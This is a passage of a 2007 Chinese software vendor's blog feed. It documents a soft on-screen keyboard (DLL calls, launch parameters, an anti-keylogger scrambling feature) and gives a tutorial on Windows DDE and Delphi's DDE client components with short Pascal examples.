<P>一般windows程序中设置的属性<BR>==============================<BR>jyb_isCtrlSpace:是否使用模拟的开关输入法方式<BR>jyb_showmoveimage:是否显示移动键盘图片<BR>jyb_selectimebutton:是否显示选择输入法按钮<BR>jyb_opentimebutton:是否显示打开输入法按钮<BR>jyb_closeimebutton:是否显示关闭输入法按钮<BR>jyb_showimetext:是否显示输入法信息<BR>jyb_regname:注册姓名<BR>jyb_regcode:注册码<BR>jyb_showreginfo:是否显示注册信息<BR>jyb_imetimeinteval:显示输入法信息的刷新时间</P>
<P><STRONG><FONT color=#008080>======================<BR>=思特软键盘Dll&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =<BR>======================<BR></FONT></STRONG>在程序中通过Dll调用即可出现键盘，使之在本程序中可以调用键盘程序进行输入内容<BR>&nbsp; 显示软键盘： jyb_kbshow(canclose:integer)<BR>&nbsp; 关闭软键盘： jyb_kbclose<BR>&nbsp; 注册软件盘： jyb_kbReg(name,code:pchar)<BR>&nbsp; 定位键盘位置:jyb_kbsetpos(fs,left,top:integer) <BR>&nbsp;&nbsp;&nbsp;&nbsp; fs=0自定义 1..9分别为左上、左中、左右、中左...下右</P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/nItoFYTCpTeeok_7P7jSDA==/3683100070259216897.jpg"><IMG src="http://img.blog.163.com/photo/nItoFYTCpTeeok_7P7jSDA==/3683100070259216897.jpg" border=0></A> </P>
<P><FONT color=#008080><STRONG></STRONG></FONT>&nbsp;</P>
<P><FONT color=#008080><STRONG>======================<BR>=思特软键盘&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =<BR>======================<BR></STRONG></FONT>直接执行即可使用：<BR>jybKB.exe后可加参数，来初始化软键盘位置<BR>&nbsp;&nbsp; jybKB.exe 0&nbsp; left top&nbsp; //自定义</P>
<P>&nbsp;&nbsp; jybKB.exe 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //左上角<BR>&nbsp;&nbsp; jybKB.exe 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //左中<BR>&nbsp;&nbsp; ............<BR>&nbsp;&nbsp; jybKB.exe 9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //右下角</P>
<P style="TEXT-INDENT: 2em"><FONT color=#0000ff>中文版</FONT> </P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/Db0brBX7JpLUsHVF2sJOIg==/3683100070259216894.jpg"><IMG src="http://img.blog.163.com/photo/Db0brBX7JpLUsHVF2sJOIg==/3683100070259216894.jpg" border=0></A> </P>
<P style="TEXT-INDENT: 2em"><FONT color=#0000ff>英文版</FONT></P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/unE6wTkVeicbXe4VyvB4Jg==/1199646350741057601.jpg"><IMG src="http://img.blog.163.com/photo/unE6wTkVeicbXe4VyvB4Jg==/1199646350741057601.jpg" border=0></A></P></div>]]></description>
	    <author><![CDATA[思特]]></author>
	    <comments>http://whbestsoft.blog.163.com/blog/static/3188146120078226472796</comments>
    <slash:comments>1</slash:comments>
    <guid isPermaLink="true">http://whbestsoft.blog.163.com/blog/static/3188146120078226472796</guid>
    <pubDate>Sat, 22 Sep 2007 18:47:27 +0800</pubDate>
    <dcterms:modified>2007-09-22T19:14:29+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[思特智能软键盘3.05]]></title>	
    <link>http://whbestsoft.blog.163.com/blog/static/3188146120078226327544</link>
    <description><![CDATA[<div><P style="TEXT-INDENT: 2em" align=left><FONT color=#ff0000>3.02在3.01的基础上特针对性的加强输入混淆功能，特意下载了几个监控软件,试过效果不错！</FONT></P>
<P style="TEXT-INDENT: 2em" align=left><FONT color=#ff0000>3.03版在3.02的基础上增加了打乱键盘布局的功能，可以输入过程中随时变换位置，防止木马程序截图破解，并且在打乱状态下不影响键盘的输入。</FONT></P>
<P style="TEXT-INDENT: 2em" align=left><FONT color=#ff0000>3.05更改了以前版本键盘输入时对键的影响,并修正了1个Bug</FONT></P>
<P style="TEXT-INDENT: 2em">&nbsp;本软件为《思特软键盘三套件》中的exe方式软件的一个升级版本，可以指定进行指定输入框时，自动弹出软键盘进行输入！也可以不指定，在需要时按定义好的热键调出即可。可广泛的应用于各种C/S程序需要软键盘（虚拟键盘）的情况，不用更改任何程序，就可以直接使用 (对网页输入框指定无效）。<FONT color=#000080>为防止盗键木马对键盘的记录，本软件提供了键盘混淆功能，开通此功能时，输入密码更安全</FONT>。另外还有DLL与Ocx方式的键盘，可以根据需要灵活的加到您的应用程序中去。</P>
<P style="TEXT-INDENT: 2em">最新版下载：<A href="http://www.whbestsoft.com/download/kb/kb2.rar">http://www.whbestsoft.com/download/kb/kb2.rar</A></P>
<P style="TEXT-INDENT: 2em">功能:</P>
<P style="TEXT-INDENT: 2em">&nbsp;1.执行getobj.exe，看里面右边的说明进行操作，设置要自动弹出窗口的控件，保存退出</P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/3AB7Q68DPCPrhzN33WJbcw==/3683100070259216269.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/3AB7Q68DPCPrhzN33WJbcw==/3683100070259216269.jpg"></A><A href="http://img.blog.163.com/photo/ZlwgvR2tTWjYcka-RlkDMQ==/5688609279322576423.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/2ESYp5I7-MEMm44XHvqg9Q==/2569866537368492000.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/l-_-BiYdIgqPrdDgtgd8NQ==/5688609279322576424.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/wz29Up9GXCdoe7JA1es-EA==/5688609279322576425.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/59JnaeHENikWDi7ehTtwkg==/1199646350741056973.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/oV5u7CKAQvBDhhyHDDvwGg==/3683100070259216279.jpg" target=_blank></A></P>
<P style="TEXT-INDENT: 2em">&nbsp;2.执行jybKB.exe,在电脑的右下角会生成一个快键图标&nbsp;&nbsp; </P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/ZlwgvR2tTWjYcka-RlkDMQ==/5688609279322576423.jpg"><IMG src="http://img.blog.163.com/photo/ZlwgvR2tTWjYcka-RlkDMQ==/5688609279322576423.jpg" border=0></A></P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/ZlwgvR2tTWjYcka-RlkDMQ==/5688609279322576423.jpg" target=_blank></A>&nbsp;3．参数设置</P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/2ESYp5I7-MEMm44XHvqg9Q==/2569866537368492000.jpg"><IMG src="http://img.blog.163.com/photo/2ESYp5I7-MEMm44XHvqg9Q==/2569866537368492000.jpg" border=0></A></P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">设置起动时的状态，可以自定义热键，如上图所示，点F10的时候，系统自动弹出键盘，键盘一直处于打开状态，再按一下键盘消失，这时自动显示键盘功能失效(功能同点菜单项 )，如果按F9，则自动切换到探测状态，在定义的焦点控件时就会出现，反之则消失（功能同点菜单项 ）。</P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/l-_-BiYdIgqPrdDgtgd8NQ==/5688609279322576424.jpg"><IMG src="http://img.blog.163.com/photo/l-_-BiYdIgqPrdDgtgd8NQ==/5688609279322576424.jpg" border=0></A>&nbsp;&nbsp; </P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/wz29Up9GXCdoe7JA1es-EA==/5688609279322576425.jpg"><IMG src="http://img.blog.163.com/photo/wz29Up9GXCdoe7JA1es-EA==/5688609279322576425.jpg" border=0></A></P>
<P style="TEXT-INDENT: 2em">执行后打开键盘时的位置</P>
<P style="TEXT-INDENT: 2em">0.自定义&nbsp;&nbsp;&nbsp;&nbsp; 左边距left&nbsp;&nbsp; 上边距top</P>
<P style="TEXT-INDENT: 2em">1.上左角</P>
<P style="TEXT-INDENT: 2em">2.上中间</P>
<P style="TEXT-INDENT: 2em">3.上右角</P>
<P style="TEXT-INDENT: 2em">4.中左边</P>
<P style="TEXT-INDENT: 2em">5.正中间</P>
<P style="TEXT-INDENT: 2em">6.中右边</P>
<P style="TEXT-INDENT: 2em">7.下左角</P>
<P style="TEXT-INDENT: 2em">8.下中边</P>
<P style="TEXT-INDENT: 2em">9.下右角</P>
<P style="TEXT-INDENT: 2em">默认8中下</P>
<P style="TEXT-INDENT: 2em">&nbsp;点击QQ号码输入框的实际效果：</P>
<P style="TEXT-INDENT: 2em">&nbsp;<A href="http://img.blog.163.com/photo/ToTDEif5J9yu4NflsizEKA==/433752939113754639.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/lIhqcbx5YMt7KCT6X8fILA==/1425670757039739861.jpg" target=_blank></A></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/veWwMmGvsraPv9neyeJ7wQ==/1425670757039740029.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/veWwMmGvsraPv9neyeJ7wQ==/1425670757039740029.jpg"></A></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/-t4ze8Ml2UNN9zl7ABnRKw==/1425670757039740030.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/-t4ze8Ml2UNN9zl7ABnRKw==/1425670757039740030.jpg"></A></P><A href="http://img.blog.163.com/photo/82HiijqU-b1QoKm6kTQn-g==/445293413159549658.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/uH90hB0scNsUes10WP2U1Q==/327355397914739132.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/59JnaeHENikWDi7ehTtwkg==/1199646350741056973.jpg"></A>
<P style="TEXT-INDENT: 2em">开通混淆器后，您就可以放心的用软键盘输入了，被木马盗取的机率大大降底了，<FONT color=#ff00ff>在混淆器开通状态下</FONT>,<FONT color=#ff00ff>QQ密码框输入是无效，请使用其自带的软键盘！</FONT></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/ToTDEif5J9yu4NflsizEKA==/433752939113754639.jpg"></A></P>
<P style="TEXT-INDENT: 2em" align=center><FONT color=#333399><A href="http://img.blog.163.com/photo/cajCREBxsVt9SdD5uAF1AQ==/436004738927432719.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/cajCREBxsVt9SdD5uAF1AQ==/436004738927432719.jpg"></A></FONT></P>
<P style="TEXT-INDENT: 2em" align=center><FONT color=#333399><FONT color=#000080>打乱键盘状态</FONT></FONT></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/9Jw9eaih0RpUSv_BdgEE6g==/640074097040403003.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/9Jw9eaih0RpUSv_BdgEE6g==/640074097040403003.jpg"></A>使用时确保能看到此窗口被加载</P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/V2mlsiJbi8_clchhbfk-kg==/1704612458959991385.jpg"></A></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/lIhqcbx5YMt7KCT6X8fILA==/1425670757039739861.jpg"><IMG src="http://img.blog.163.com/photo/lIhqcbx5YMt7KCT6X8fILA==/1425670757039739861.jpg" border=0></A></P>
<P style="TEXT-INDENT: 2em" align=center><FONT color=#000080>混淆打乱键盘状态</FONT> </P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/oV5u7CKAQvBDhhyHDDvwGg==/3683100070259216279.jpg"></A>注册方式</P>
<P style="TEXT-INDENT: 2em">未注册版本，请点击注册按钮，每台机器有一个唯一序列号，输入注册码，注册码请与“思特”联系！功能可以跟据实际情况进行改动。 </P><A href="http://img.blog.163.com/photo/oV5u7CKAQvBDhhyHDDvwGg==/3683100070259216279.jpg"></A>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/EUY9-anjkjy5Z_scDCBuXw==/429249339486364399.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/EUY9-anjkjy5Z_scDCBuXw==/429249339486364399.jpg"></A></P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em"></P></div>]]></description>
	    <author><![CDATA[思特]]></author>
	    <comments>http://whbestsoft.blog.163.com/blog/static/3188146120078226327544</comments>
    <slash:comments>19</slash:comments>
    <guid isPermaLink="true">http://whbestsoft.blog.163.com/blog/static/3188146120078226327544</guid>
    <pubDate>Sat, 22 Sep 2007 18:32:07 +0800</pubDate>
    <dcterms:modified>2008-04-15T17:11:58+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[windows的dde原理和 dephi的dde实现机制　]]></title>	
    <link>http://whbestsoft.blog.163.com/blog/static/31881461200782255625107</link>
    <description><![CDATA[<div><P style="TEXT-INDENT: 2em">1. <FONT color=#000080 size=3><STRONG>windows的dde原理</STRONG></FONT>　</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; windows的dde机制基于windows的消息机制。两个windows应用程序通过相互之间传递dde消息进行dde会话(conversation)，从而完成数据的请求、应答、传输。这两个应用程序分别称为服务器(server)和客户(client)。服务器是数据的提供者，客户是数据的请求和接受者。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dde会话由客户程序启动。客户程序把一条消息(wm_dde_initiate)传播给当前运行的所有windows程序。这条消息指明了客户程序所需要的一般数据(应用程序、主题)。拥有这些数据的dde服务器可以响应这条被传播的消息。此时，dde会话就开始了。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 由于在每个主题中，dde服务器可以支持一个或多个数据项，所以在客户请求数据时应同时指明应用程序名、主题名和项目名。应用程序、主题、项目是dde中三个最基本的概念。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 利用windows本身提供的dde消息和api进行dde编程是一件相当棘手的问题。 虽然使用dde管理库(ddeml.dll)可以一定程度上减轻开发者的工作负担，但开发dde程序仍不是一件轻松的事情。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 此时delphi出现了！delphi通过其自身巧妙的设计使开发一个dde应用程序同开发一个普通程序一样地快捷、方便。　</P>
<P style="TEXT-INDENT: 2em">2 <FONT color=#000080 size=3><STRONG>delphi的dde实现机制简介</STRONG></FONT>　</P>
<P style="TEXT-INDENT: 2em">delphi把所有的dde功能做到四个部件中，它们是:</P>
<P style="TEXT-INDENT: 2em">● tddeclientconv ： 用于客户程序建立和维护一个dde会话</P>
<P style="TEXT-INDENT: 2em">● tddeclientitem ： 用于客户程序建立和维护数据交换通道</P>
<P style="TEXT-INDENT: 2em">● tddeserverconv ： 用于服务器程序响应dde会话</P>
<P style="TEXT-INDENT: 2em">● tddeserveritem ： 用于服务器程序维护数据交换通道　</P>
<P style="TEXT-INDENT: 2em">　 前两个部件用于生成一个dde客户程序，后两个部件用于生成一个dde服务器程序。如果一个应用程序同时拥有这些部件，则这一程序既可以充当dde客户，也可以充当dde服务器。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 会话部件tddeclientconv、tddeserverconv用于建立和维护一个dde会话。dde会话包括dde服务和dde主题两部分。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dde服务是dde服务器的名称，即在一般的windows dde机制中所讲的应用程序名。一般说来这一名称是dde服务器应用程序执行文件名去掉 .exe后缀。比如你的应用程序要和word 6.0建立会话，则dde服务为winword。但也不尽然。比如你的应用程序要和borland reportsmith ( rptsmith.exe ) 建立会话，则dde 服务为 report smith。dde服务到底如何，读者可参看相关的dde服务器应用程序文档。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dde主题是一个包含了联接信息的数据单元。一般说来dde 主题是一个包括扩展名的完整文件名。例如和excel中的一个文件建立dde会话，则主题可能是　</P>
<P style="TEXT-INDENT: 2em">topic = 'c:\excel\example\sale.xls'　</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果服务器是一个delphi应用程序，缺省情况下主题是包含欲联接数据窗体的标题。如果服务器使用了ddeserverconv部件，则要求使用部件ddeserverconv的名称作为dde主题。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 项目部件tddeclientitem、tddeserveritem用于建立和维护dde数据的传输通道。 dde项目中包含着实际欲传输的数据。dde项目的格式取决于dde服务器应用程序。一个可能的dde项目例子是电子表格中的单元和数据库表中的域。如果服务器是delphi应用程序，则项目是连接的 ddeserveritem部件的名称。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; delphi的dde实现机制方便、实用，但也有一个令人遗憾的缺陷：只能传输文本数据以及命令、宏，而不能传输图像数据。在这一点上微软公司推出的visual basic 要略胜一筹。不过在目前文本数据的使用仍是最广泛的，而且图像传输可以利用剪贴板和ole来实现，则这一缺陷也并无很大的影响　</P>
<P style="TEXT-INDENT: 2em">3. <FONT color=#000080 size=3><STRONG>dde客户程序的实现</STRONG></FONT></P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dde客户程序启动dde会话，向服务器请求并从服务器接收数据。同时还可以向服务器发送数据、命令、宏，改变服务器的状态并控制服务器的运行。　</P>
<P style="TEXT-INDENT: 2em">3.1 <FONT color=#008080>联接模式(connectmode)</FONT></P>
<P style="TEXT-INDENT: 2em">　　delphi的dde提供了两种联接模式：自动和人工。这可以通过ddeclinetconv 部件的connectmode属性进行设置。如下表所示。　</P>
<P style="TEXT-INDENT: 2em">表 7.5 dde的联接模式</P>
<P style="TEXT-INDENT: 2em">━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━</P>
<P style="TEXT-INDENT: 2em">　值　　　　　　意义</P>
<P style="TEXT-INDENT: 2em">───────────────────────────────</P>
<P style="TEXT-INDENT: 2em">ddeautomatic&nbsp;&nbsp; 在运行中当包含tddeclientconv部件的窗口创建时联接自动建立</P>
<P style="TEXT-INDENT: 2em">ddemanual&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 只有当调用openlink方法时联接才建立</P>
<P style="TEXT-INDENT: 2em">━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━　　　</P>
<P style="TEXT-INDENT: 2em">不同联接模式，dde客户程序的实现方式不同。</P>
<P style="TEXT-INDENT: 2em">对于自动模式：</P>
<P style="TEXT-INDENT: 2em">1. 向窗体中加入ddeclientconv和ddeclientitem部件并命名；</P>
<P style="TEXT-INDENT: 2em">2. 把ddeclientitem部件的ddeconv属性设置为ddeclientconv部件的名称；</P>
<P style="TEXT-INDENT: 2em">如果在设计时建立，则通过对象观察器进行选择；如果在运行时建立联系， 则通过如下的一条语句设置属性的值：　</P>
<P style="TEXT-INDENT: 2em">ddeclientitem1.ddeconv := 'ddeclientconv1' ;　</P>
<P style="TEXT-INDENT: 2em">3. 和服务器建立联系，实现数据共享。</P>
<P style="TEXT-INDENT: 2em">对于人工模式：</P>
<P style="TEXT-INDENT: 2em">1.向窗体中加入ddeclientconv部件；</P>
<P style="TEXT-INDENT: 2em">2.和服务器建立联系；</P>
<P style="TEXT-INDENT: 2em">3. 数据更新时调用requestdata方法申请并获得数据。　</P>
<P style="TEXT-INDENT: 2em">3.2<FONT color=#008000><STRONG> </STRONG></FONT><FONT color=#008080>和dde服务器建立联系</FONT>　 
<TABLE cellSpacing=0 cellPadding=0 align=left border=0>
<TBODY>
<TR>
<TD></TD></TR></TBODY></TABLE></P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 和dde服务器建立联系，既可以在设计时进行，也可以在运行时进行。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在设计时，dde联接可以通过剪贴板进行粘贴。具体步骤如下：</P>
<P style="TEXT-INDENT: 2em">1. 激活服务器程序，并选中你的客户程序欲联接的数据；</P>
<P style="TEXT-INDENT: 2em">2. 把数据和dde联接信息拷贝到剪贴板上。一般说来这只需要选择服务器应用程序的 edit|copy 菜单；</P>
<P style="TEXT-INDENT: 2em">3. 在delphi ide的设计窗体中选中ddeclientconv部件；</P>
<P style="TEXT-INDENT: 2em">4. 在object inspector(对象观察器)中单击ddeservice属性或ddetopic属性，然后再单击ellipsis按钮，打开dde info对话框；</P>
<P style="TEXT-INDENT: 2em">5.选择paste link按钮。此时app编辑框和topic编辑框被自动填充。如果paste link按钮变灰，说明你准备用作服务器的应用程序不支持dde或者dde信息没有被成功地拷贝到剪贴板上；</P>
<P style="TEXT-INDENT: 2em">6.选择ok 按钮。此时object inspector中的ddeservice、ddetopic 属性包含了建立一个dde联接的正确值。</P>
<P style="TEXT-INDENT: 2em">对于人工模式以下步骤是不需要的。</P>
<P style="TEXT-INDENT: 2em">7.选中ddeclientitem部件，并在object inspector中设置ddeconv属性为已完成联接的ddeclientconv部件名称；</P>
<P style="TEXT-INDENT: 2em">8.假如剪贴板上的dde 联接信息仍保留的话，从object inspector的下拉列表框中选择 ddeitem 属性的值。否则输入正确的值。</P>
<P style="TEXT-INDENT: 2em">在运行时，调用 setlink 方法来建立dde联接。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlink有两个string类型的参数，分别用来接受ddeservice和ddetopic的值。过程执行后ddeclientconv部件的ddeservice 和ddetopic属性被设置。要注意的是：在运行时直接设置ddeservice和ddetopic的值并不能建立一个dde联接，而必须调用setlink 方法进行初始化。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 比如，下面的语句和excel的system主题建立联接：　</P>
<P style="TEXT-INDENT: 2em">ddeclietnconv. setlink('excel','system')；　</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 调用setlink方法后，还需要设置ddeclientitem部件的ddeitem属性。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 比如，下面的语句联接excel的topics项目，用以获取当前活跃文件的文件名：　</P>
<P style="TEXT-INDENT: 2em">ddeclietnitem.ddeitem := 'topics';　</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当dde联接建立后，联接的数据保存在ddeclientitem部件的text和lines 属性中，text用于保存一个字符串(string)，lines用于保存一个字符串链表(tstrings)对象。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为了显示联接数据，可以在ddeclientitem的onchange事件中把数值赋给一个可视部件。</P>
<P style="TEXT-INDENT: 2em">下面的事件过程把联接数据实时地显示在一个编辑框中。</P>
<P style="TEXT-INDENT: 2em">procedure form1.ddeclientitemchange(sender: tobject);</P>
<P style="TEXT-INDENT: 2em">begin</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp; edit1.text := ddeclientitem1.text;</P>
<P style="TEXT-INDENT: 2em">end;　</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 运行状态下也可以从剪贴板上粘贴dde联接信息，并调用setlink建立dde会话。下面的例子显示了当用户按下应用程序中的paste link按钮时，动态建立dde会话的过程。　</P>
<P style="TEXT-INDENT: 2em">procedure form1.onpastelink(sender: tobject)；</P>
<P style="TEXT-INDENT: 2em">var</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp; service, topic, item: string;</P>
<P style="TEXT-INDENT: 2em">begin</P>
<P style="TEXT-INDENT: 2em">if getpastelinkinfo (service, topic, item) then</P>
<P style="TEXT-INDENT: 2em">begin</P>
<P style="TEXT-INDENT: 2em">appname.text := service;</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; topicname.text := topic;</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; itemname.text := item;</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; ddeclient.setlink (service, topic); </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; ddeclientitem.ddeconv := ddeclient;</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; ddeclientitem.ddeitem := itemname.text;</P>
<P style="TEXT-INDENT: 2em">end;</P>
<P style="TEXT-INDENT: 2em">end;　</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getpastelinkinfo是ddeman 库单元中定义的一个过程。如果返回true，则dde联接信息保存在三个参数中；如果返回false，说明剪贴板上没有正确格式的dde联接信息。　</P>
<P style="TEXT-INDENT: 2em">3.3 <FONT color=#008080>数据申请</FONT>　</P>
<P style="TEXT-INDENT: 2em">虽然自动模式快捷、方便，但仍有一些理由使用dde的人工模式：</P>
<P style="TEXT-INDENT: 2em">1.服务器程序可能不支持自动数据传输，客户必须显式申请服务器更新一个特定的项目；</P>
<P style="TEXT-INDENT: 2em">2.节省通信费用。假如没有实时传输的要求，则人工模式可以大幅度降低通信的开销；</P>
<P style="TEXT-INDENT: 2em">3.若客户程序只用于控制服务器的运行，则往往没有必要使用自动模式。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 人工模式下客户程序的数据更新需要采用数据申请的方式。数据申请需要调用ddeclientconv部件的requestdata方法。requestdata有一个参数，指向要申请的dde项目。requestdata返回一个pchar类型的无结束符字符串，包含了申请到的文本。返回字符串占用的内存必须在程序终止前显式释放。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在人工模式下，即使存在一个ddeclientitem部件且与ddeclientconv相联接，数据更新后ddeclientitem部件的text、lines属性的值也不会改变。　</P>
<P style="TEXT-INDENT: 2em">7.3.4 <FONT color=#008080>数据发送</FONT>　</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 数据发送与一般的dde数据流向正好相反，是把数据从dde客户应用程序发送到dde服务器应用程序。</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 数据发送使用ddeclientconv部件的两个方法pokedata 和 pokedatalines， 它们的语法是：　</P>
<P style="TEXT-INDENT: 2em">　　function pokedata (item: string ; data: pchar): boolean;</P>
<P style="TEXT-INDENT: 2em">　　function pokedatalines (item: string ; data: tstrings): boolean;　</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 参数item是dde服务器中被联接的项目，data是要发送的数据。如果数据是一个字符串，则把它转化为pchar类型并调用pokedata方法；如果数据是一个字符串链表对象，可调用pokedatalines方法。 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 方法的返回值标志数据传送是否成功。因为有一些dde服务器应用程序并不接收发送的数据。</P>
<P style="TEXT-INDENT: 2em">下面的语句把编辑框中的内容发送给服务器：　</P>
<P style="TEXT-INDENT: 2em">　　strpcopy(thetext , edit1.text);</P>
<P style="TEXT-INDENT: 2em">ddeclientconv1.pokedata(ddeclientitem1.ddeitem , thetext);　</P>
<P style="TEXT-INDENT: 2em">过程strpcopy把一个pascal类型的字符串拷贝到一个无结束符的pchar类型字符串中。</P></div>]]></description>
	    <author><![CDATA[思特]]></author>
	    <comments>http://whbestsoft.blog.163.com/blog/static/31881461200782255625107</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://whbestsoft.blog.163.com/blog/static/31881461200782255625107</guid>
    <pubDate>Sat, 22 Sep 2007 17:56:25 +0800</pubDate>
    <dcterms:modified>2007-09-22T19:15:02+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[思特触摸屏浏览器3.50]]></title>	
    <link>http://whbestsoft.blog.163.com/blog/static/318814612007822105536197</link>
    <description><![CDATA[<div><P style="TEXT-INDENT: 2em" align=left><FONT color=#0000ff size=4><STRONG>&nbsp;本软件是专门为浏览网页的触摸屏制作的一套软件，其基于IE内核，可访问各种网页，能满足触摸屏各种需要。</STRONG></FONT></P><STRONG><FONT color=#0000ff size=4></FONT></STRONG>
<P style="TEXT-INDENT: 2em">3.50新增功能:</P>
